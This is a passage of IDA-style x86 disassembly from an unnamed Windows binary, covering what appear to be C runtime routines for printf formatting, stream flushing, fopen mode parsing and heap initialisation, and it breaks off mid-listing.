lea eax, [ebp+var_248] push eax call ds:off_42D42C pop ecx loc_4161C5: ; CODE XREF: sub_415DDC+3D5j ; sub_415DDC+3D9j cmp [ebp+var_248], 2Dh jnz short loc_4161DB or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_4161DB: ; CODE XREF: sub_415DDC+3F0j push edi loc_4161DC: ; CODE XREF: sub_415DDC+36Dj call sub_413DB0 pop ecx jmp loc_4163E3 ; --------------------------------------------------------------------------- loc_4161E7: ; CODE XREF: sub_415DDC+1E9j sub eax, 69h jz loc_4162C1 sub eax, 5 jz loc_416297 dec eax jz loc_416284 dec eax jz short loc_416254 sub eax, 3 jz loc_416009 dec eax dec eax jz loc_4162C5 sub eax, 3 jnz loc_4163E6 mov [ebp+var_2C], 27h jmp short loc_416262 ; --------------------------------------------------------------------------- loc_416226: ; CODE XREF: sub_415DDC+270j ; sub_415DDC+27Aj sub eax, ecx sar eax, 1 jmp loc_4163E3 ; --------------------------------------------------------------------------- loc_41622F: ; CODE XREF: sub_415DDC+24Fj test ecx, ecx jnz short loc_41623C mov ecx, ds:off_42D0E8 mov [ebp+var_8], ecx loc_41623C: ; CODE XREF: sub_415DDC+455j mov eax, ecx loc_41623E: ; CODE XREF: sub_415DDC+46Fj mov edx, esi dec esi test edx, edx jz short loc_41624D cmp byte ptr [eax], 0 jz short loc_41624D inc eax jmp short loc_41623E ; --------------------------------------------------------------------------- loc_41624D: ; CODE XREF: sub_415DDC+467j ; sub_415DDC+46Cj sub eax, ecx jmp loc_4163E3 ; --------------------------------------------------------------------------- loc_416254: ; CODE XREF: sub_415DDC+425j mov [ebp+var_10], 8 loc_41625B: ; CODE XREF: sub_415DDC+201j mov [ebp+var_2C], 7 loc_416262: ; CODE XREF: sub_415DDC+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_4162CC mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_4162CC ; --------------------------------------------------------------------------- loc_416284: ; CODE XREF: sub_415DDC+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_4162CC or byte ptr [ebp+var_4+1], 2 jmp short loc_4162CC ; --------------------------------------------------------------------------- loc_416297: ; CODE XREF: sub_415DDC+417j lea eax, [ebp+arg_8] push eax call sub_4165BB test byte ptr [ebp+var_4], 20h pop ecx jz short loc_4162B0 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_4162B5 ; --------------------------------------------------------------------------- loc_4162B0: ; CODE XREF: sub_415DDC+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_4162B5: ; CODE XREF: sub_415DDC+4D2j mov [ebp+var_28], 1 jmp loc_4164E4 ; default ; --------------------------------------------------------------------------- loc_4162C1: ; CODE XREF: sub_415DDC+2F7j ; sub_415DDC+40Ej or [ebp+var_4], 40h loc_4162C5: ; CODE XREF: sub_415DDC+432j mov [ebp+var_C], 0Ah loc_4162CC: ; CODE XREF: sub_415DDC+491j ; sub_415DDC+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_4162DE lea eax, [ebp+arg_8] push eax call sub_4165C8 pop ecx jmp short loc_41631F ; --------------------------------------------------------------------------- loc_4162DE: ; CODE XREF: sub_415DDC+4F4j test byte ptr [ebp+var_4], 20h jz short loc_416305 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_4162FA call sub_4165BB pop ecx movsx eax, ax loc_4162F7: ; CODE XREF: sub_415DDC+527j ; sub_415DDC+539j cdq jmp short loc_41631F ; --------------------------------------------------------------------------- loc_4162FA: ; CODE XREF: sub_415DDC+510j call sub_4165BB pop ecx movzx eax, ax jmp short loc_4162F7 ; --------------------------------------------------------------------------- loc_416305: ; CODE XREF: sub_415DDC+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_416317 call sub_4165BB pop ecx jmp short loc_4162F7 ; --------------------------------------------------------------------------- loc_416317: ; CODE XREF: sub_415DDC+531j call sub_4165BB pop ecx xor edx, edx loc_41631F: ; CODE XREF: sub_415DDC+500j ; sub_415DDC+51Cj test byte ptr [ebp+var_4], 40h jz short loc_416340 test edx, edx jg short loc_416340 jl short loc_41632F test eax, eax jnb short loc_416340 loc_41632F: ; CODE XREF: sub_415DDC+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_416344 ; --------------------------------------------------------------------------- loc_416340: ; CODE XREF: sub_415DDC+547j ; sub_415DDC+54Bj ... mov esi, eax mov edi, edx loc_416344: ; CODE XREF: sub_415DDC+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_41634D and edi, 0 loc_41634D: ; CODE XREF: sub_415DDC+56Cj cmp [ebp+var_10], 0 jge short loc_41635C mov [ebp+var_10], 1 jmp short loc_416360 ; --------------------------------------------------------------------------- loc_41635C: ; CODE XREF: sub_415DDC+575j and [ebp+var_4], 0FFFFFFF7h loc_416360: ; CODE XREF: sub_415DDC+57Ej mov eax, esi or eax, edi jnz short loc_41636A and [ebp+var_1C], 0 loc_41636A: ; CODE XREF: sub_415DDC+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_416370: ; CODE XREF: sub_415DDC+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_416380 mov eax, esi or eax, edi jz short loc_4163BB loc_416380: ; CODE XREF: sub_415DDC+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_4152F0 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_415370 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_4163B1 add ebx, [ebp+var_2C] loc_4163B1: ; CODE XREF: sub_415DDC+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_416370 ; --------------------------------------------------------------------------- loc_4163BB: ; CODE XREF: sub_415DDC+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_4163E6 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_4163D9 test eax, eax jnz short loc_4163E6 loc_4163D9: ; CODE XREF: sub_415DDC+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_4163E3: ; CODE XREF: sub_415DDC+35Fj ; sub_415DDC+406j ... mov [ebp+var_C], eax loc_4163E6: ; CODE XREF: sub_415DDC+21Bj ; sub_415DDC+2FDj ... cmp [ebp+var_28], 0 jnz loc_4164E4 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_41641E test bh, 1 jz short loc_416403 mov [ebp+var_16], 2Dh jmp short loc_416417 ; --------------------------------------------------------------------------- loc_416403: ; CODE XREF: sub_415DDC+61Fj test bl, 1 jz short loc_41640E mov [ebp+var_16], 2Bh jmp short loc_416417 ; --------------------------------------------------------------------------- loc_41640E: ; CODE XREF: sub_415DDC+62Aj test bl, 2 jz short loc_41641E mov [ebp+var_16], 20h loc_416417: ; CODE XREF: sub_415DDC+625j ; sub_415DDC+630j mov [ebp+var_1C], 1 loc_41641E: ; CODE XREF: sub_415DDC+61Aj ; sub_415DDC+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_41643E lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_416552 add esp, 10h loc_41643E: ; CODE XREF: sub_415DDC+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_416583 add esp, 10h test bl, 8 jz short loc_416470 test bl, 4 jnz short loc_416470 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_416552 add esp, 10h loc_416470: ; CODE XREF: sub_415DDC+67Bj ; sub_415DDC+680j cmp [ebp+var_24], 0 jz short loc_4164B7 cmp [ebp+var_C], 0 jle short loc_4164B7 mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_416485: ; CODE XREF: sub_415DDC+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_41B21F pop ecx test eax, eax pop ecx jle short loc_4164CC lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_416583 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_416485 jmp short loc_4164CC ; --------------------------------------------------------------------------- loc_4164B7: ; CODE XREF: sub_415DDC+698j ; sub_415DDC+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_416583 add esp, 10h loc_4164CC: ; CODE XREF: sub_415DDC+6BCj ; sub_415DDC+6D9j test byte ptr [ebp+var_4], 4 jz short loc_4164E4 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_416552 add esp, 10h loc_4164E4: ; CODE XREF: sub_415DDC+68j ; sub_415DDC+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_415E08 loc_4164F5: ; CODE XREF: sub_415DDC+1Fj ; sub_415DDC+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_415DDC endp ; --------------------------------------------------------------------------- off_4164FD dd offset loc_415F7B ; DATA XREF: sub_415DDC+6Er dd offset loc_415E51 ; jump table for switch statement dd offset loc_415E6C dd offset loc_415EB8 dd offset loc_415EEF dd offset loc_415EF7 dd offset loc_415F2C dd offset loc_415FBF ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41651D proc near ; CODE XREF: sub_415DDC+1BDp ; sub_415DDC+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_416536 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_416541 ; --------------------------------------------------------------------------- loc_416536: ; CODE XREF: sub_41651D+9j push ecx push [ebp+arg_0] call sub_415CC7 pop ecx pop ecx loc_416541: ; CODE XREF: sub_41651D+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_41654E or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41654E: ; CODE XREF: sub_41651D+2Aj inc dword ptr [eax] pop ebp retn sub_41651D endp ; =============== S U B R O U T I N E ======================================= sub_416552 proc near ; CODE XREF: sub_415DDC+65Ap ; sub_415DDC+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_416580 mov esi, [esp+8+arg_C] loc_416563: ; CODE XREF: sub_416552+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_41651D add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_416580 mov eax, edi dec edi test eax, eax jg short loc_416563 loc_416580: ; CODE XREF: sub_416552+Bj ; sub_416552+25j pop edi pop esi retn sub_416552 endp ; =============== S U B R O U T I N E ======================================= sub_416583 proc near ; CODE XREF: sub_415DDC+670p ; sub_415DDC+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_4165B7 mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_416599: ; CODE XREF: sub_416583+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_41651D add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_4165B7 mov eax, ebx dec ebx test eax, eax jg short loc_416599 loc_4165B7: ; CODE XREF: sub_416583+Cj ; sub_416583+2Bj pop edi pop esi pop ebx retn sub_416583 endp ; =============== S U B R O U T I N E ======================================= sub_4165BB proc near ; CODE XREF: sub_415DDC+E5p ; sub_415DDC+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_4165BB endp ; =============== S U B R O U T I N E ======================================= sub_4165C8 proc near ; CODE XREF: sub_415DDC+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_4165C8 endp ; =============== S U B R O U T I N E ======================================= sub_4165D8 proc near ; CODE XREF: sub_415DDC+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_4165D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4165E6 proc near ; CODE XREF: sub_413A94+17p ; sub_413A94+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_416604 mov ecx, ds:off_42D0F0 movzx eax, word ptr [ecx+eax*2] jmp short loc_416656 ; --------------------------------------------------------------------------- loc_416604: ; CODE XREF: sub_4165E6+10j mov ecx, eax push esi mov esi, ds:off_42D0F0 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_416629 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_416632 ; --------------------------------------------------------------------------- loc_416629: ; CODE XREF: sub_4165E6+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_416632: ; CODE XREF: sub_4165E6+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call loc_41B287 add esp, 1Ch test eax, eax jnz short loc_416652 leave retn ; --------------------------------------------------------------------------- loc_416652: ; CODE XREF: sub_4165E6+68j movzx eax, word ptr [ebp+arg_0+2] loc_416656: ; CODE XREF: sub_4165E6+1Cj and eax, [ebp+arg_4] leave retn sub_4165E6 endp ; =============== S U B R O U T I N E ======================================= sub_41665B proc near ; CODE XREF: sub_413C00+2Ap ; sub_41B5EA+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, ds:dword_45FC20 jnb loc_4166F5 mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:45FB20h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_4166F5 push edi call sub_41B556 cmp eax, 0FFFFFFFFh pop ecx jz short loc_4166D4 cmp edi, 1 jz short loc_4166A2 cmp edi, 2 jnz short loc_4166B8 loc_4166A2: ; CODE XREF: sub_41665B+40j push 2 call sub_41B556 push 1 mov ebp, eax call sub_41B556 pop ecx cmp eax, ebp pop ecx jz short loc_4166D4 loc_4166B8: ; CODE XREF: sub_41665B+45j push edi call sub_41B556 pop ecx push eax call ds:dword_41F070 ; CloseHandle test eax, eax jnz short loc_4166D4 call ds:dword_41F068 ; RtlGetLastWin32Error mov ebp, eax jmp short loc_4166D6 ; --------------------------------------------------------------------------- loc_4166D4: ; CODE XREF: sub_41665B+3Bj ; sub_41665B+5Bj ... xor ebp, ebp loc_4166D6: ; CODE XREF: sub_41665B+77j push edi call loc_41B4DC mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_4166F1 push ebp call sub_41A667 pop ecx jmp short loc_416706 ; --------------------------------------------------------------------------- loc_4166F1: ; CODE XREF: sub_41665B+8Bj xor eax, eax jmp short loc_416709 ; --------------------------------------------------------------------------- loc_4166F5: ; CODE XREF: sub_41665B+Ej ; sub_41665B+2Fj and ds:dword_45E808, 0 mov ds:dword_45E804, 9 loc_416706: ; CODE XREF: sub_41665B+94j or eax, 0FFFFFFFFh loc_416709: ; CODE XREF: sub_41665B+98j pop edi pop esi pop ebp pop ebx retn sub_41665B endp ; =============== S U B R O U T I N E ======================================= sub_41670E proc near ; CODE XREF: sub_413C00+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_416737 test al, 8 jz short loc_416737 push dword ptr [esi+8] call sub_413ED3 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_416737: ; CODE XREF: sub_41670E+Aj ; sub_41670E+Ej pop esi retn sub_41670E endp ; =============== S U B R O U T I N E ======================================= sub_416739 proc near ; CODE XREF: sub_4167D9+2Dp ; sub_4167D9+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41674B push esi call sub_4167D9 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41674B: ; CODE XREF: sub_416739+7j push esi call sub_416774 test eax, eax pop ecx jz short loc_41675B or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41675B: ; CODE XREF: sub_416739+1Bj test byte ptr [esi+0Dh], 40h jz short loc_416770 push dword ptr [esi+10h] call sub_41B593 neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_416770: ; CODE XREF: sub_416739+26j xor eax, eax pop esi retn sub_416739 endp ; =============== S U B R O U T I N E ======================================= sub_416774 proc near ; CODE XREF: sub_413C00+1Ap ; sub_414ECE+37p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_4167C1 test ax, 108h jz short loc_4167C1 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_4167C1 push edi push eax push dword ptr [esi+10h] call sub_41A4BA add esp, 0Ch cmp eax, edi jnz short loc_4167BA mov eax, [esi+0Ch] test al, 80h jz short loc_4167C1 and al, 0FDh mov [esi+0Ch], eax jmp short loc_4167C1 ; --------------------------------------------------------------------------- loc_4167BA: ; CODE XREF: sub_416774+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_4167C1: ; CODE XREF: sub_416774+14j ; sub_416774+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_416774 endp ; =============== S U B R O U T I N E ======================================= sub_4167D0 proc near ; CODE XREF: sub_41B20Bp push 1 call sub_4167D9 pop ecx retn sub_4167D0 endp ; =============== S U B R O U T I N E ======================================= sub_4167D9 proc near ; CODE XREF: sub_416739+Ap ; sub_4167D0+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp ds:dword_45FB00, esi jle short loc_416837 loc_4167EA: ; CODE XREF: sub_4167D9+5Cj mov eax, ds:dword_45EAF0 mov eax, [eax+esi*4] test eax, eax jz short loc_41682E mov ecx, [eax+0Ch] test cl, 83h jz short loc_41682E cmp [esp+0Ch+arg_0], 1 jnz short loc_416814 push eax call sub_416739 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41682E inc ebx jmp short loc_41682E ; --------------------------------------------------------------------------- loc_416814: ; CODE XREF: sub_4167D9+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41682E test cl, 2 jz short loc_41682E push eax call sub_416739 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41682E or edi, eax loc_41682E: ; CODE XREF: sub_4167D9+1Bj ; sub_4167D9+23j ... inc esi cmp esi, ds:dword_45FB00 jl short loc_4167EA loc_416837: ; CODE XREF: sub_4167D9+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_416842 mov eax, edi loc_416842: ; CODE XREF: sub_4167D9+65j pop edi pop esi pop ebx retn sub_4167D9 endp ; =============== S U B R O U T I N E ======================================= sub_416846 proc near ; CODE XREF: sub_413C56+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_41B140 test eax, eax pop ecx jz short loc_4168CF cmp esi, offset dword_42D808 jnz short loc_416864 xor eax, eax jmp short loc_41686F ; --------------------------------------------------------------------------- loc_416864: ; CODE XREF: sub_416846+18j cmp esi, offset dword_42D828 jnz short loc_4168CF push 1 pop eax loc_41686F: ; CODE XREF: sub_416846+1Cj inc ds:dword_45E9C4 test word ptr [esi+0Ch], 10Ch jnz short loc_4168CF cmp ds:dword_45E85C[eax*4], 0 push ebx push edi lea edi, ds:45E85Ch[eax*4] mov ebx, 1000h jnz short loc_4168B5 push ebx call sub_413E5F test eax, eax pop ecx mov [edi], eax jnz short loc_4168B5 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_4168C2 ; --------------------------------------------------------------------------- loc_4168B5: ; CODE XREF: sub_416846+4Dj ; sub_416846+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_4168C2: ; CODE XREF: sub_416846+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_4168CF: ; CODE XREF: sub_416846+10j ; sub_416846+24j ... xor eax, eax pop esi retn sub_416846 endp ; =============== S U B R O U T I N E ======================================= sub_4168D3 proc near ; CODE XREF: sub_413C56+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_4168FD mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_41690E push esi call sub_416774 and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_4168FD: ; CODE XREF: sub_4168D3+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_41690E push eax call sub_416774 pop ecx loc_41690E: ; CODE XREF: sub_4168D3+10j ; sub_4168D3+32j pop esi retn sub_4168D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416910 proc near ; CODE XREF: sub_413C88+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, ds:dword_45E9CC push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_416949 cmp al, 72h jz short loc_416942 cmp al, 77h jnz loc_416A5D mov ecx, 301h jmp short loc_41694E ; --------------------------------------------------------------------------- loc_416942: ; CODE XREF: sub_416910+21j xor ecx, ecx or esi, 1 jmp short loc_416951 ; --------------------------------------------------------------------------- loc_416949: ; CODE XREF: sub_416910+1Dj mov ecx, 109h loc_41694E: ; CODE XREF: sub_416910+30j or esi, 2 loc_416951: ; CODE XREF: sub_416910+37j push 1 pop edx loc_416954: ; CODE XREF: sub_416910+8Bj ; sub_416910+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_416A43 cmp edx, ebx jz loc_416A43 movsx eax, al cmp eax, 54h jg short loc_4169E2 jz short loc_4169D2 sub eax, 2Bh jz short loc_4169BC sub eax, 19h jz short loc_4169B2 sub eax, 0Eh jz short loc_41699D dec eax jnz loc_416A34 cmp [ebp+var_4], ebx jnz loc_416A34 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_416954 ; --------------------------------------------------------------------------- loc_41699D: ; CODE XREF: sub_416910+6Fj cmp [ebp+var_4], ebx jnz loc_416A34 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_416954 ; --------------------------------------------------------------------------- loc_4169B2: ; CODE XREF: sub_416910+6Aj test cl, 40h jnz short loc_416A34 or ecx, 40h jmp short loc_416954 ; --------------------------------------------------------------------------- loc_4169BC: ; CODE XREF: sub_416910+65j test cl, 2 jnz short loc_416A34 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_416954 ; --------------------------------------------------------------------------- loc_4169D2: ; CODE XREF: sub_416910+60j mov eax, 1000h test ecx, eax jnz short loc_416A34 or ecx, eax jmp loc_416954 ; --------------------------------------------------------------------------- loc_4169E2: ; CODE XREF: sub_416910+5Ej sub eax, 62h jz short loc_416A2F dec eax jz short loc_416A18 sub eax, 0Bh jz short loc_416A01 sub eax, 6 jnz short loc_416A34 test ch, 0C0h jnz short loc_416A34 or ch, 40h jmp loc_416954 ; --------------------------------------------------------------------------- loc_416A01: ; CODE XREF: sub_416910+DDj cmp [ebp+var_8], ebx jnz short loc_416A34 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_416954 ; --------------------------------------------------------------------------- loc_416A18: ; CODE XREF: sub_416910+D8j cmp [ebp+var_8], ebx jnz short loc_416A34 mov [ebp+var_8], 1 or esi, 4000h jmp loc_416954 ; --------------------------------------------------------------------------- loc_416A2F: ; CODE XREF: sub_416910+D5j test ch, 0C0h jz short loc_416A3B loc_416A34: ; CODE XREF: sub_416910+72j ; sub_416910+7Bj ... xor edx, edx jmp loc_416954 ; --------------------------------------------------------------------------- loc_416A3B: ; CODE XREF: sub_416910+122j or ch, 80h jmp loc_416954 ; --------------------------------------------------------------------------- loc_416A43: ; CODE XREF: sub_416910+4Aj ; sub_416910+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_41B5EA mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_416A61 loc_416A5D: ; CODE XREF: sub_416910+25j xor eax, eax jmp short loc_416A7B ; --------------------------------------------------------------------------- loc_416A61: ; CODE XREF: sub_416910+14Bj mov eax, [ebp+arg_C] inc ds:dword_45E9C4 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_416A7B: ; CODE XREF: sub_416910+14Fj pop edi pop esi pop ebx leave retn sub_416910 endp ; =============== S U B R O U T I N E ======================================= sub_416A80 proc near ; CODE XREF: sub_413C88p mov edx, ds:dword_45FB00 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_416AF1 mov ebx, ds:dword_45EAF0 mov edi, ebx loc_416A9C: ; CODE XREF: sub_416A80+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_416AB7 test byte ptr [ecx+0Ch], 83h jz short loc_416AB2 inc eax add edi, 4 cmp eax, edx jl short loc_416A9C jmp short loc_416AF1 ; --------------------------------------------------------------------------- loc_416AB2: ; CODE XREF: sub_416A80+26j mov esi, [ebx+eax*4] jmp short loc_416ADB ; --------------------------------------------------------------------------- loc_416AB7: ; CODE XREF: sub_416A80+20j mov edi, eax push 20h shl edi, 2 call sub_413E5F pop ecx mov ecx, ds:dword_45EAF0 mov [edi+ecx], eax mov eax, ds:dword_45EAF0 mov edi, [edi+eax] cmp edi, ebp jz short loc_416AF1 mov esi, edi loc_416ADB: ; CODE XREF: sub_416A80+35j cmp esi, ebp jz short loc_416AF1 or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_416AF1: ; CODE XREF: sub_416A80+12j ; sub_416A80+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_416A80 endp ; =============== S U B R O U T I N E ======================================= sub_416AF8 proc near ; CODE XREF: sub_413E71+1Fp ; sub_41556F+106p ... arg_0 = dword ptr 4 mov eax, ds:dword_45E868 test eax, eax jz short loc_416B10 push [esp+arg_0] call eax ; dword_45E868 test eax, eax pop ecx jz short loc_416B10 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_416B10: ; CODE XREF: sub_416AF8+7j ; sub_416AF8+12j xor eax, eax retn sub_416AF8 endp ; =============== S U B R O U T I N E ======================================= sub_416B13 proc near ; CODE XREF: seg000:00415BE2p arg_0 = dword ptr 4 xor eax, eax push 0 cmp [esp+4+arg_0], eax push 1000h setz al push eax call ds:dword_41F168 ; HeapCreate test eax, eax mov ds:dword_45FE60, eax jz short loc_416B48 call sub_416B4F test eax, eax jnz short loc_416B4B push ds:dword_45FE60 call ds:dword_41F164 ; HeapDestroy loc_416B48: ; CODE XREF: sub_416B13+1Ej xor eax, eax retn ; --------------------------------------------------------------------------- loc_416B4B: ; CODE XREF: sub_416B13+27j push 1 pop eax retn sub_416B13 endp ; =============== S U B R O U T I N E ======================================= sub_416B4F proc near ; CODE XREF: sub_416B13+20p push 140h push 0 push ds:dword_45FE60 call ds:dword_41F140 ; RtlAllocateHeap test eax, eax mov ds:dword_45FE5C, eax jnz short loc_416B6C retn ; --------------------------------------------------------------------------- loc_416B6C: ; CODE XREF: sub_416B4F+1Aj and ds:dword_45FE54, 0 and ds:dword_45FE58, 0 push 1 mov ds:dword_45FE50, eax mov ds:dword_45FE48, 10h pop eax retn sub_416B4F endp ; =============== S U B R O U T I N E ======================================= sub_416B8D proc near ; CODE XREF: sub_413ED3+Ap ; sub_41556F+3Dp ... arg_0 = dword ptr 4 mov eax, ds:dword_45FE58 lea ecx, [eax+eax*4] mov eax, ds:dword_45FE5C lea ecx, [eax+ecx*4] loc_416B9D: ; CODE XREF: 